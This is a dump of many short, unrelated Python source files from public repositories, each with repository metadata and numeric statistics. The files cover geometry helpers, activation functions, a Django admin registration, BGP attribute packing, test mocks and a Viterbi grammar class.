# ^^^ --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- ^^^ | 41.428571 | 78 | 0.668966 | 53 | 290 | 3.584906 | 0.660377 | 0.063158 | 0.105263 | 0.2 | 0.515789 | 0.515789 | 0.515789 | 0.515789 | 0.515789 | 0.515789 | 0 | 0.156379 | 0.162069 | 290 | 7 | 79 | 41.428571 | 0.625514 | 0.527586 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7b1b77a0549fce161163ddeae6528801ab12bcc6 | 451 | py | Python | learn/prog/07/geometry.py | mauroere/opencv | 5a35790af0e89f988fc03ad3ff092f676699e9d0 | [
"MIT"
] | 568 | 2017-02-22T06:46:30.000Z | 2022-03-08T00:45:38.000Z | learn/prog/07/geometry.py | mauroere/opencv | 5a35790af0e89f988fc03ad3ff092f676699e9d0 | [
"MIT"
] | 38 | 2017-02-25T22:33:39.000Z | 2022-03-10T02:21:47.000Z | learn/prog/07/geometry.py | mauroere/opencv | 5a35790af0e89f988fc03ad3ff092f676699e9d0 | [
"MIT"
] | 1,265 | 2017-02-20T17:28:26.000Z | 2022-03-23T05:09:03.000Z | class Point(object):
def __init__(self, x, y):
self._x = x
self._y = y
def get_x(self):
return self._x
def set_x(self, x):
self._x = x
def get_y(self):
return self._y
def set_y(self, y):
self._y = y
def euclidean_distance(a, b):
ax = a.get_x()
ay = a.get_y()
bx = b.get_x()
by = b.get_y()
dist = ((ax - bx) ** 2 + (ay - by) ** 2) ** 0.5
return dist
| 15.033333 | 51 | 0.478936 | 76 | 451 | 2.592105 | 0.302632 | 0.126904 | 0.060914 | 0.091371 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014035 | 0.368071 | 451 | 29 | 52 | 15.551724 | 0.677193 | 0 | 0 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0 | 0 | 0.105263 | 0.526316 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9e34a99aaefe3bb7d3c45bf60ff0315abb36c1f6 | 535 | py | Python | src/self_realisation/mlp_funcs.py | RikiTikkiTavi/MNIST-MLP | 1e79c4e7e40bf3569ffe5dd3e3de3a9f2250d664 | [
"MIT"
] | null | null | null | src/self_realisation/mlp_funcs.py | RikiTikkiTavi/MNIST-MLP | 1e79c4e7e40bf3569ffe5dd3e3de3a9f2250d664 | [
"MIT"
] | null | null | null | src/self_realisation/mlp_funcs.py | RikiTikkiTavi/MNIST-MLP | 1e79c4e7e40bf3569ffe5dd3e3de3a9f2250d664 | [
"MIT"
] | null | null | null | import numpy as np
def sigmoid(x):
return 1 / (1 + np.exp(-x))
def relu(x):
return np.maximum(x, 0)
def d_relu_dz(z):
return (z > 0) * 1
def leaky_relu(Z):
return np.maximum(0.1 * Z, Z)
def d_leaky_relu_dz(z):
return 1 if z >= 0 else 0.01
def tanh(Z):
return np.tanh(Z)
def d_tanh_dz(z):
return 1 - (np.square(np.tanh(z)))
def d_sigmoid_dz(z):
return sigmoid(z) * (1 - sigmoid(z))
def mse(Y_hat, Y):
return np.sum((np.square(Y_hat - Y)))
def d_mse_da(a, y):
return 2*(a - y)
| 12.738095 | 41 | 0.581308 | 108 | 535 | 2.75 | 0.268519 | 0.141414 | 0.121212 | 0.087542 | 0.074074 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037406 | 0.250467 | 535 | 41 | 42 | 13.04878 | 0.703242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.47619 | false | 0 | 0.047619 | 0.47619 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9e4f84d3863e6bfc40015b7b1512de612a38662d | 161 | py | Python | openerp/report/pyPdf/__init__.py | ntiufalara/openerp7 | 903800da0644ec0dd9c1dcd34205541f84d45fe4 | [
"MIT"
] | 3 | 2016-01-29T14:39:49.000Z | 2018-12-29T22:42:00.000Z | openerp/report/pyPdf/__init__.py | ntiufalara/openerp7 | 903800da0644ec0dd9c1dcd34205541f84d45fe4 | [
"MIT"
] | 2 | 2016-03-23T14:29:41.000Z | 2017-02-20T17:11:30.000Z | openerp/report/pyPdf/__init__.py | ntiufalara/openerp7 | 903800da0644ec0dd9c1dcd34205541f84d45fe4 | [
"MIT"
] | null | null | null | from pdf import PdfFileReader, PdfFileWriter
#.apidoc title: pyPdf Engine
__all__ = ["pdf"]
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| 20.125 | 65 | 0.776398 | 20 | 161 | 6.05 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020833 | 0.10559 | 161 | 7 | 66 | 23 | 0.819444 | 0.565217 | 0 | 0 | 0 | 0 | 0.044118 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9e6778871a36d6d320d7fb00362124bbd23f684a | 221 | py | Python | zoondb/analysis/__init__.py | gord02/Zooniverse-DB | 571f4a791e63351ca1998c241c470c0f644a616e | [
"MIT"
] | 1 | 2022-03-08T02:23:08.000Z | 2022-03-08T02:23:08.000Z | zoondb/analysis/__init__.py | gord02/Zooniverse-DB | 571f4a791e63351ca1998c241c470c0f644a616e | [
"MIT"
] | null | null | null | zoondb/analysis/__init__.py | gord02/Zooniverse-DB | 571f4a791e63351ca1998c241c470c0f644a616e | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
Analysis consists of general purpose functions.
Note
----
Function from either alpha or beta are not imported here, since they are not
required by default.
"""
from . import seed # noqa: F401
| 18.416667 | 76 | 0.728507 | 33 | 221 | 4.878788 | 0.909091 | 0.074534 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016484 | 0.176471 | 221 | 11 | 77 | 20.090909 | 0.868132 | 0.850679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9e6d5bf753f88ecfe2f10df0dd9a4e03ba161904 | 196 | py | Python | housing/admin.py | Unous1996/Pikachu-Housing | acd1f06ddc3b0e5b300ccd5b500e0c2bad5cd1af | [
"Apache-2.0"
] | 1 | 2019-03-23T18:49:31.000Z | 2019-03-23T18:49:31.000Z | housing/admin.py | DeepinSC/Pikachu-Housing | 453201e19812e356106c071bbf9a306931d14fa7 | [
"Apache-2.0"
] | null | null | null | housing/admin.py | DeepinSC/Pikachu-Housing | 453201e19812e356106c071bbf9a306931d14fa7 | [
"Apache-2.0"
] | 1 | 2019-04-24T06:40:49.000Z | 2019-04-24T06:40:49.000Z | from django.contrib import admin
from housing.models import House
class HouseAdmin(admin.ModelAdmin):
list_display = ('name', 'location', 'price',)
admin.site.register(House, HouseAdmin)
| 17.818182 | 49 | 0.75 | 24 | 196 | 6.083333 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132653 | 196 | 10 | 50 | 19.6 | 0.858824 | 0 | 0 | 0 | 0 | 0 | 0.086735 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
9e6f1f7067bdb6a30c0ce71be665401fad8dca56 | 198 | py | Python | lib/app_profile.py | esoadamo/simple-guardian-ad-hoc | d30afcff5ee14da10837908b531a0e04524e4c9a | [
"MIT"
] | null | null | null | lib/app_profile.py | esoadamo/simple-guardian-ad-hoc | d30afcff5ee14da10837908b531a0e04524e4c9a | [
"MIT"
] | null | null | null | lib/app_profile.py | esoadamo/simple-guardian-ad-hoc | d30afcff5ee14da10837908b531a0e04524e4c9a | [
"MIT"
] | null | null | null | from typing import NamedTuple, Set
from lib import LogRule, IPBlocker, LogFile
class AppProfile(NamedTuple):
profile_name: str
log: LogFile
blocker: IPBlocker
rules: Set[LogRule]
| 18 | 43 | 0.737374 | 24 | 198 | 6.041667 | 0.708333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20202 | 198 | 10 | 44 | 19.8 | 0.917722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.285714 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9e790d60290fd834209652ff992d8fc781f1249b | 66 | py | Python | python/testData/resolve/DunderClassInDeclarationWithClassAttr.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/resolve/DunderClassInDeclarationWithClassAttr.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/resolve/DunderClassInDeclarationWithClassAttr.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | class A:
__class__ = 17
print(__class__)
# <ref> | 16.5 | 20 | 0.515152 | 7 | 66 | 3.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.378788 | 66 | 4 | 21 | 16.5 | 0.585366 | 0.075758 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0.666667 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9eb84eec9628be5d519de79af906ea1c3ce07648 | 795 | py | Python | tests/db_models/utils/test_db_models_utils_delete_index.py | libercapital/dados_publicos_cnpj_receita_federal | a02f98ebb1e5aa64539cc371d94ba78a49647214 | [
"MIT"
] | 7 | 2022-02-04T22:02:01.000Z | 2022-03-08T22:55:29.000Z | tests/db_models/utils/test_db_models_utils_delete_index.py | libercapital/dados_publicos_cnpj_receita_federal | a02f98ebb1e5aa64539cc371d94ba78a49647214 | [
"MIT"
] | 3 | 2022-02-04T22:48:01.000Z | 2022-02-10T01:53:00.000Z | tests/db_models/utils/test_db_models_utils_delete_index.py | libercapital/dados_publicos_cnpj_receita_federal | a02f98ebb1e5aa64539cc371d94ba78a49647214 | [
"MIT"
] | 1 | 2022-03-18T17:07:18.000Z | 2022-03-18T17:07:18.000Z | from unittest.mock import Mock
from src.db_models.utils import delete_index
def test_db_models_utils_delete_index_can_delete(mocker):
mock_engine = Mock()
mocker.patch('src.db_models.utils.settings.ENGINE', mock_engine)
mocker.patch('src.db_models.utils.check_index_exists', Mock(return_value=True))
delete_index(table_name='tbl1', idx='idx')
sql = "drop index idx"
mock_engine.execute.assert_called_with(sql)
def test_db_models_utils_delete_index_can_not_delete(mocker):
mock_engine = Mock()
mocker.patch('src.db_models.utils.settings.ENGINE', mock_engine)
mocker.patch('src.db_models.utils.check_index_exists', Mock(return_value=False))
delete_index(table_name='tbl1', idx='idx')
mock_engine.execute.assert_not_called()
| 34.565217 | 85 | 0.750943 | 117 | 795 | 4.752137 | 0.290598 | 0.100719 | 0.163669 | 0.143885 | 0.803957 | 0.715827 | 0.715827 | 0.607914 | 0.485612 | 0.485612 | 0 | 0.00292 | 0.138365 | 795 | 22 | 86 | 36.136364 | 0.808759 | 0 | 0 | 0.4 | 0 | 0 | 0.225097 | 0.188875 | 0 | 0 | 0 | 0 | 0.133333 | 1 | 0.133333 | false | 0 | 0.133333 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7b4fb904e934f3d6af4059cc2ea268a9c7cd658d | 564 | py | Python | ml101/functional.py | Frozander/ML101 | d6176bf7c795f4a324a4050f2c1f3d6eda8df21b | [
"MIT"
] | null | null | null | ml101/functional.py | Frozander/ML101 | d6176bf7c795f4a324a4050f2c1f3d6eda8df21b | [
"MIT"
] | null | null | null | ml101/functional.py | Frozander/ML101 | d6176bf7c795f4a324a4050f2c1f3d6eda8df21b | [
"MIT"
] | null | null | null | import numpy as np
def sigmoid(x):
return 1 / (1 + np.exp(-x))
def sigmoid_der(x):
return x / (1 - x)
def relu(x):
if x > 0:
return x
else:
return 0
def relu_der(x):
if x > 0:
return 1
else:
return 0
def leaky_relu(x):
if x < 0:
return 0.01 * x
return x
def leaky_relu_der(x):
if x < 0:
return 0.01
return 1
def swish(x):
return x / (1 + np.exp(-x))
def swish_der(x):
return np.exp(x) * (np.exp(x) + x + 1) / ((np.exp(x) + 1)**2)
def identity(x):
return x | 14.842105 | 65 | 0.503546 | 102 | 564 | 2.72549 | 0.196078 | 0.151079 | 0.107914 | 0.071942 | 0.363309 | 0.258993 | 0.190647 | 0 | 0 | 0 | 0 | 0.057377 | 0.351064 | 564 | 38 | 66 | 14.842105 | 0.702186 | 0 | 0 | 0.448276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.310345 | false | 0 | 0.034483 | 0.172414 | 0.793103 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7b506f1fb0605e88571f91fe4eb57419f8f23d97 | 515 | py | Python | test/tests/listComp.py | jonco3/dynamic | 76d10b012a7860595c7d9abbdf542c7d8f2a4d53 | [
"MIT"
] | 1 | 2020-11-26T23:37:19.000Z | 2020-11-26T23:37:19.000Z | test/tests/listComp.py | jonco3/dynamic | 76d10b012a7860595c7d9abbdf542c7d8f2a4d53 | [
"MIT"
] | null | null | null | test/tests/listComp.py | jonco3/dynamic | 76d10b012a7860595c7d9abbdf542c7d8f2a4d53 | [
"MIT"
] | null | null | null | # output: ok
assert([x for x in ()] == [])
assert([x for x in range(0, 3)] == [0, 1, 2])
assert([(x, y) for x in range(0, 2) for y in range(2, 4)] ==
[(0, 2), (0, 3), (1, 2), (1, 3)])
assert([x for x in range(0, 3) if x >= 1] == [1, 2])
def inc(x):
return x + 1
assert([inc(y) for y in (1, 2, 3)] == [2, 3, 4])
a = 1
assert([a for y in (1, 2, 3)] == [1, 1, 1])
assert([(lambda x: x * 2)(y) for y in (1, 2, 3)] == [2, 4, 6])
assert([(lambda x: y * 2)(y) for y in (1, 2, 3)] == [2, 4, 6])
print('ok')
| 25.75 | 62 | 0.452427 | 117 | 515 | 1.991453 | 0.179487 | 0.060086 | 0.128755 | 0.120172 | 0.484979 | 0.377682 | 0.339056 | 0.339056 | 0.120172 | 0.120172 | 0 | 0.130548 | 0.256311 | 515 | 19 | 63 | 27.105263 | 0.477807 | 0.019417 | 0 | 0 | 0 | 0 | 0.003976 | 0 | 0 | 0 | 0 | 0 | 0.615385 | 1 | 0.076923 | false | 0 | 0 | 0.076923 | 0.153846 | 0.076923 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7b66c0159da78e8a980d2d4855e3e6b2f13681bd | 880 | py | Python | lib/bgp/message/update/attribute/mpurnlri.py | ericchenth/ericcac-test | 579cb72dac6f6db0e6a8c4a62bea639d8a465ac1 | [
"BSD-3-Clause"
] | null | null | null | lib/bgp/message/update/attribute/mpurnlri.py | ericchenth/ericcac-test | 579cb72dac6f6db0e6a8c4a62bea639d8a465ac1 | [
"BSD-3-Clause"
] | null | null | null | lib/bgp/message/update/attribute/mpurnlri.py | ericchenth/ericcac-test | 579cb72dac6f6db0e6a8c4a62bea639d8a465ac1 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
"""
mprnlri.py
Created by Thomas Mangin on 2009-11-05.
Copyright (c) 2009-2011 Exa Networks. All rights reserved.
"""
from bgp.structure.address import Address
from bgp.message.update.attribute import AttributeID,Flag,Attribute
# =================================================================== MP NLRI (14)
class MPURNLRI (Attribute):
FLAG = Flag.OPTIONAL
ID = AttributeID.MP_UNREACH_NLRI
MULTIPLE = True
def __init__ (self,routes):
self.routes = routes
def pack (self):
return self._attribute(self.routes[0].afi.pack() + self.routes[0].safi.pack() + ''.join([route.nlri.pack() for route in self.routes]))
def __len__ (self):
return len(self.pack())
def __str__ (self):
return "MP_UNREACH_NLRI Family %s %d NLRI(s)" % (Address.__str__(self.routes[0]),len(self.routes))
def __repr__ (self):
return str(self)
| 25.882353 | 136 | 0.660227 | 122 | 880 | 4.557377 | 0.52459 | 0.125899 | 0.059353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028796 | 0.131818 | 880 | 33 | 137 | 26.666667 | 0.698953 | 0.259091 | 0 | 0 | 0 | 0 | 0.056075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3125 | false | 0 | 0.125 | 0.25 | 0.9375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7b7712794377b276873c1ef52a140b5b0c2f4476 | 258 | py | Python | june-challenge/my-calender.py | kd82/interview-preparation | a47de06c677b37c8160d1429f43e38288c157754 | [
"MIT"
] | null | null | null | june-challenge/my-calender.py | kd82/interview-preparation | a47de06c677b37c8160d1429f43e38288c157754 | [
"MIT"
] | null | null | null | june-challenge/my-calender.py | kd82/interview-preparation | a47de06c677b37c8160d1429f43e38288c157754 | [
"MIT"
] | null | null | null | def __init__(self):
self.meetings = []
def book(self, start: int, end: int) -> bool:
for s, e in self.meetings:
if s < end and start < e:
return False
self.meetings.append([start, end])
return True | 28.666667 | 45 | 0.531008 | 34 | 258 | 3.911765 | 0.558824 | 0.270677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.356589 | 258 | 9 | 46 | 28.666667 | 0.801205 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7b80fdcaca584479b2823360c8ccef88114c34aa | 96 | py | Python | app/db/enums/language.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | 1 | 2021-11-18T16:25:22.000Z | 2021-11-18T16:25:22.000Z | app/db/enums/language.py | Max-Zhenzhera/my_vocab_backend | f93d0c7c7f4a45fce47eb7ce74cfcda195b13a72 | [
"MIT"
] | null | null | null | app/db/enums/language.py | Max-Zhenzhera/my_vocab_backend | f93d0c7c7f4a45fce47eb7ce74cfcda195b13a72 | [
"MIT"
] | null | null | null | from freedictionaryapi import LanguageCodes
__all__ = ['Language']
Language = LanguageCodes
| 12 | 43 | 0.791667 | 8 | 96 | 9 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145833 | 96 | 7 | 44 | 13.714286 | 0.878049 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
7b8ce01dc0eeefcb1d80c09ee441d6a247866a61 | 141 | py | Python | PythonChallenge/Ex23/23.py | YorkFish/git_study | 6e023244daaa22e12b24e632e76a13e5066f2947 | [
"MIT"
] | null | null | null | PythonChallenge/Ex23/23.py | YorkFish/git_study | 6e023244daaa22e12b24e632e76a13e5066f2947 | [
"MIT"
] | null | null | null | PythonChallenge/Ex23/23.py | YorkFish/git_study | 6e023244daaa22e12b24e632e76a13e5066f2947 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# coding:utf-8
import this
s = "va gur snpr bs jung?"
print('=' * 50)
print(''.join([this.d.get(c, c) for c in s]))
| 15.666667 | 45 | 0.602837 | 28 | 141 | 3.035714 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034188 | 0.170213 | 141 | 8 | 46 | 17.625 | 0.692308 | 0.241135 | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
7b8dd6d149b0a030ce93d6a8670f0b03887142d1 | 637 | py | Python | train.py | smallsunsun1/repvgg | 9739ab5a62078b208d9899826538c192617b1fb9 | [
"MIT"
] | null | null | null | train.py | smallsunsun1/repvgg | 9739ab5a62078b208d9899826538c192617b1fb9 | [
"MIT"
] | null | null | null | train.py | smallsunsun1/repvgg | 9739ab5a62078b208d9899826538c192617b1fb9 | [
"MIT"
] | null | null | null | import argparse
import yaml
import numpy as np
import tensorflow as tf
parser = argparse.ArgumentParser(description="tensorflow imagenet training")
parser.add_argument("--data", type=str, help="path to training data", default="data")
parser.add_argument("--arch", type=str, help="model architecture", default="RepVGG-A0")
parser.add_argument("--workers", type=int, help="number of threads", default=10)
parser.add_argument("--epochs", type=int, help="number of epochs to run", default=120)
parser.add_argument('--start-epoch', default=0, type=int, help='manual epoch number (useful on restarts)')
if __name__ == "__main__":
pass | 42.466667 | 106 | 0.748823 | 90 | 637 | 5.155556 | 0.522222 | 0.096983 | 0.18319 | 0.073276 | 0.081897 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012238 | 0.102041 | 637 | 15 | 107 | 42.466667 | 0.798951 | 0 | 0 | 0 | 0 | 0 | 0.329154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 3 |
7b994d981d7baa0b69738f961d0fdb5bb51fcbde | 1,711 | py | Python | ute/viterbi_utils/grammar.py | Annusha/unsup_temp_embed | 2fd98b4d70d6180cb9f4a5adc107c8a24dd256bb | [
"MIT"
] | 59 | 2019-04-09T11:01:23.000Z | 2022-03-28T08:57:39.000Z | ute/viterbi_utils/grammar.py | xujinglin/unsup_temp_embed | 2fd98b4d70d6180cb9f4a5adc107c8a24dd256bb | [
"MIT"
] | 6 | 2019-11-15T19:13:18.000Z | 2021-11-08T04:50:34.000Z | ute/viterbi_utils/grammar.py | xujinglin/unsup_temp_embed | 2fd98b4d70d6180cb9f4a5adc107c8a24dd256bb | [
"MIT"
] | 16 | 2019-04-19T07:32:29.000Z | 2021-12-18T04:53:32.000Z | #!/usr/bin/env python
"""Grammar implementation for the viterbi decoding. Object should be assign to
each video to collect the states for each of the frames.
"""
__author__ = 'Anna Kukleva'
__date__ = 'September 2018'
import numpy as np
class Grammar:
def __init__(self, states):
"""
Args:
states: flat sequence (list) of states (class State)
"""
self._states = states
self._framewise_states = []
self.name = '%d' % len(states)
def framewise_states(self):
return_states = list(map(lambda x: self._states[x], self._framewise_states))
return return_states
def reverse(self):
self._framewise_states = list(reversed(self._framewise_states))
def __getitem__(self, idx):
return self._framewise_states[idx]
def set_framewise_state(self, states, last=False):
"""Set states for each item in a sequence.
Backward pass by setting a particular state for computed probabilities.
Args:
states: either state indexes of the previous step
last: if it the last item or not
Returns:
"""
if not last:
state = int(states[[self._framewise_states[-1]]])
else:
# state = int(self._states[-1])
state = int(len(self._states) - 1)
self._framewise_states.append(state)
def states(self):
return self._states
def __len__(self):
return len(self._states)
def create_grammar(n_states):
"""Create grammar out of given number of possible states with 1 sub-action
each.
"""
states = list(range(n_states))
grammar = Grammar(states)
return grammar
| 25.924242 | 84 | 0.628872 | 214 | 1,711 | 4.803738 | 0.411215 | 0.077821 | 0.129377 | 0.048638 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006472 | 0.277615 | 1,711 | 65 | 85 | 26.323077 | 0.825243 | 0.317358 | 0 | 0 | 0 | 0 | 0.026415 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.275862 | false | 0 | 0.034483 | 0.103448 | 0.517241 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7bb6a8de7e56883aa4efe2af80f726146eab6a4d | 20 | py | Python | main/jasper/update.py | RoastVeg/cports | 803c7f07af341eb32f791b6ec1f237edb2764bd5 | [
"BSD-2-Clause"
] | 46 | 2021-06-10T02:27:32.000Z | 2022-03-27T11:33:24.000Z | main/jasper/update.py | RoastVeg/cports | 803c7f07af341eb32f791b6ec1f237edb2764bd5 | [
"BSD-2-Clause"
] | 58 | 2021-07-03T13:58:20.000Z | 2022-03-13T16:45:35.000Z | main/jasper/update.py | RoastVeg/cports | 803c7f07af341eb32f791b6ec1f237edb2764bd5 | [
"BSD-2-Clause"
] | 6 | 2021-07-04T10:46:40.000Z | 2022-01-09T00:03:59.000Z | pkgname = "version"
